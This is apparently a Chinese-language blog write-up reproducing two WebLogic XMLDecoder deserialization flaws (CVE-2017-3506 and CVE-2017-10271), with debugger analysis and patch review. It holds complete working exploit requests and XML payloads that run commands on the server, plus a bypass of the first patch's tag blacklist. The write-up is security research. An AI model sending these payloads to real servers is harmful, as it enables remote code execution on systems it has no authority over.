WebLogic XMLDecoder
前言
今天复现一下WebLogic XMLDecoder的漏洞,CVE-2017-10271是通过void
、new
标签,对CVE-2017-3506(也是XMLDecoder反序列化的漏洞)补丁的绕过
环境配置
环境配置版本如下:
XmlEncoder和XmlDecoder
XmlDecoder/XmlEncoder是在JDK1.4版本中添加的XML格式序列化持久性方案,使用XMLEncoder来生成表示JavaBeans 组件的 XML文档,用XMLDecoder读取使用XMLEncoder创建的XML文档来获取JavaBeans
接下来我们使用一些Demo来看一看
XmlEncoder
XmlEncoder的demo代码如下
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| import javax.swing.*; import java.beans.XMLEncoder; import java.io.BufferedOutputStream; import java.io.FileOutputStream;
public class testEncoder { public static void main(String[] args) throws Exception { FileOutputStream file = new FileOutputStream("result.txt"); XMLEncoder xmlEncoder = new XMLEncoder(new BufferedOutputStream(file)); xmlEncoder.writeObject(new JButton("Hello World!")); xmlEncoder.close(); } }
|
我们序列化JButton
类,得到的XML文档如下
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| <?xml version="1.0" encoding="UTF-8"?> <java version="1.8.0_65" class="java.beans.XMLDecoder"> <object class="javax.swing.JButton"> <string>Hello World!</string> </object> </java>
|
XmlDecoder
XmlDecoder的demo代码如下
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| import java.beans.XMLDecoder; import java.io.FileInputStream;
public class testDecoder { public static void main(String[] args) throws Exception{ FileInputStream file = new FileInputStream("result.txt"); XMLDecoder xmlDecoder = new XMLDecoder(file); Object o = xmlDecoder.readObject(); System.out.println(o); xmlDecoder.close(); } }
|
使用XMLDecoder读取序列化的XML文档后,获取JButton
类并打印如下
1
| javax.swing.JButton[,0,0,0x0,invalid,alignmentX=0.0,alignmentY=0.5,border=javax.swing.plaf.BorderUIResource$CompoundBorderUIResource@30dae81,flags=296,maximumSize=,minimumSize=,preferredSize=,defaultIcon=,disabledIcon=,disabledSelectedIcon=,margin=javax.swing.plaf.InsetsUIResource[top=2,left=14,bottom=2,right=14],paintBorder=true,paintFocus=true,pressedIcon=,rolloverEnabled=true,rolloverIcon=,rolloverSelectedIcon=,selectedIcon=,text=Hello World!,defaultCapable=true]
|
XML的基础属性
String标签
Hello World!
字符串在XML中的表示为
1
| <string>Hello World!</string>
|
Object标签
我们可以通过<object>
标签来表示对象,class
属性来指定具体的类(用于调用其内部方法),method
属性来指定其具体的方法名(例如当构造函数的方法名为new
时)
new JButton("Hello World!")
对应的XML文档如下
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| <object class="javax.swing.JButton" method="new"> <string>Hello World!</string> </object>
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Void标签
我们可以头盖骨void
标签来表示函数的调用、赋值等操作,method
属性执行具体方法名称,对于JButton b = new JButton();b.setText("Hello, world");
对应XML
文档如下
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| <object class="javax.swing.JButton"> <void method="setText"> <string>Hello World!</string> </void> </object>
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array标签
通过array
标签来表示数组,class
属性指定其具体类,length
属性指定数组长度,内部的void
标签的index
属性根据指定数组索引赋值,String[] s = new String[3];s[1] = "Hello World!";
对应的XML文档如下
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| <array class="java.lang.String" length="3"> <void index="1"> <string>Hello World!</string> </void> </array>
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漏洞详情
漏洞原理
WebLogic的WLS Secutiry组件对外提供WebService的服务,其使用XMLDecoder来进行解析XML格式数据,若其存在反序列化漏洞,则导致RCE
漏洞Demo
这里我们看一个解析XML导致反序列化命令执行的Demo
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| import java.beans.XMLDecoder; import java.io.BufferedInputStream; import java.io.FileInputStream;
public class testDecoder { public static void main(String[] args) throws Exception{ FileInputStream file = new FileInputStream("result.txt"); XMLDecoder xmlDecoder = new XMLDecoder(new BufferedInputStream(file)); Object o = xmlDecoder.readObject(); xmlDecoder.close(); } }
|
result.txt
文件内容如下
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| <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>Calc</string> </void> </array> <void method="start"/></void> </java>
|
看到运行解析文件后,成功命令执行
该XML解析后相当于执行以下代码
1 2 3
| String[] cmd = new String[1]; cmd[0] = "Calc"; new ProcessBuilder(cmd).start();
|

漏洞复现
Weblogic 本质上是 Web Service 服务,报文内容类型是 SOAP 型 WebService 报文,所以` /wls-wsat/CoordinatorPortType `接口可以接收 XML 数据的请求包
CVE-2017-3506
影响版本
CVE-2017-3506的影响版本如下
- Oracle WebLogic Server10.3.6.0.0
- Oracle WebLogic Server12.1.3.0.0
- Oracle WebLogic Server12.2.1.1.0
- Oracle WebLogic Server12.2.1.2.0
漏洞复现
按照我们常规思路,我们构造的恶意文件会是这样的,通过Runtime.getRuntime.exec("calc")
来执行命令,其中用Object来获取Runtime
类
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| <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.lang.Runtime" method="getRuntime"> <void method="exec"> <string>calc</string> </void> </object> </java>
|
我们构造的数据包就是这样的,
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| POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 127.0.0.1:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 474
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.6.0" class="java.beans.XMLDecoder"> <object class="java.lang.Runtime" method="getRuntime"> <void method="exec"> <string>calc</string> </void> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
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可以看到成功命令执行

CVE-2017-10271
影响版本
漏洞复现
在修复部分,看看解析标签是否有object,如果有就退出。在CVE-2017-10271需要绕过object标签,构造恶意XML文件如下
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| <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>Calc</string> </void> </array> <void method="start"/></void> </java>
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然后构造POST请求包
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| POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 127.0.0.1:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 482
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>Calc</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
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可以看到成功命令执行

漏洞分析
在 server/lib/wls-wsat.war/WEB-INF/web.xml
文件中存在许多接口,这些接口都可以对 SOAP 报文进行处理,也就是这些接口都存在 Weblogic XMLDecoder 反序列化的漏洞

我们去到weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest
方法中打个断点进行调试,这个方法对接口数据进行了初步的处理

此处的var1为我们构造的恶意xml数据,var2获取了xmlheader,即为text/xml
,并将其转换成了列表形式,var3是从var2中获取WorkAreaConstants.WORK_AREA_HEADER
所得到的,最终将var3放入readHeaderOld()
中进行处理

跟进readHeaderOld
,较为重要的部分只有以下这部分,在这部分之前本质上都是赋值与包装的过程,var4获取了恶意XML数据中的内容部分

我们跟进var6参数的构造,可以看到将恶意XML数据传入XMLDecoder的构造方法中

然后跟进receive
方法

再跟进receiveRequest
里的receiveRequest
方法中

走入WorkContextEntryImpl.readEntry(var1)
,readEntry
调用了readUTF
方法,readUTF
中对xmlDecoder
调用了 readObject
方法,对 XML 数据进行反序列化解析,就会触发我们的payload

漏洞修复
CVE-2017-3506 补丁分析
这里补丁在 WorkContextXmlInputAdapter
中添加了 validate 验证,限制了 object 标签,从而限制通过 XML 来构造类
绕过方法很简单,将 object 修改成 void,也就是最开始漏洞复现的 exp
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| private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object"); } } }); } catch (ParserConfigurationException var5) { throw new IllegalStateException("Parser Exception", var5); } catch (SAXException var6) { throw new IllegalStateException("Parser Exception", var6); } catch (IOException var7) { throw new IllegalStateException("Parser Exception", var7); } }
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CVE-2017-10271 补丁分析
这里依然是进行黑名单判断
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| private void validate(InputStream is) { WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try { SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() { private int overallarraylength = 0; public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if(qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid element qName:object"); } else if(qName.equalsIgnoreCase("new")) { throw new IllegalStateException("Invalid element qName:new"); } else if(qName.equalsIgnoreCase("method")) { throw new IllegalStateException("Invalid element qName:method"); } else { if(qName.equalsIgnoreCase("void")) { for(int attClass = 0; attClass < attributes.getLength(); ++attClass) { if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) { throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass)); } } } if(qName.equalsIgnoreCase("array")) { String var9 = attributes.getValue("class"); if(var9 != null && !var9.equalsIgnoreCase("byte")) { throw new IllegalStateException("The value of class attribute is not valid for array element."); }
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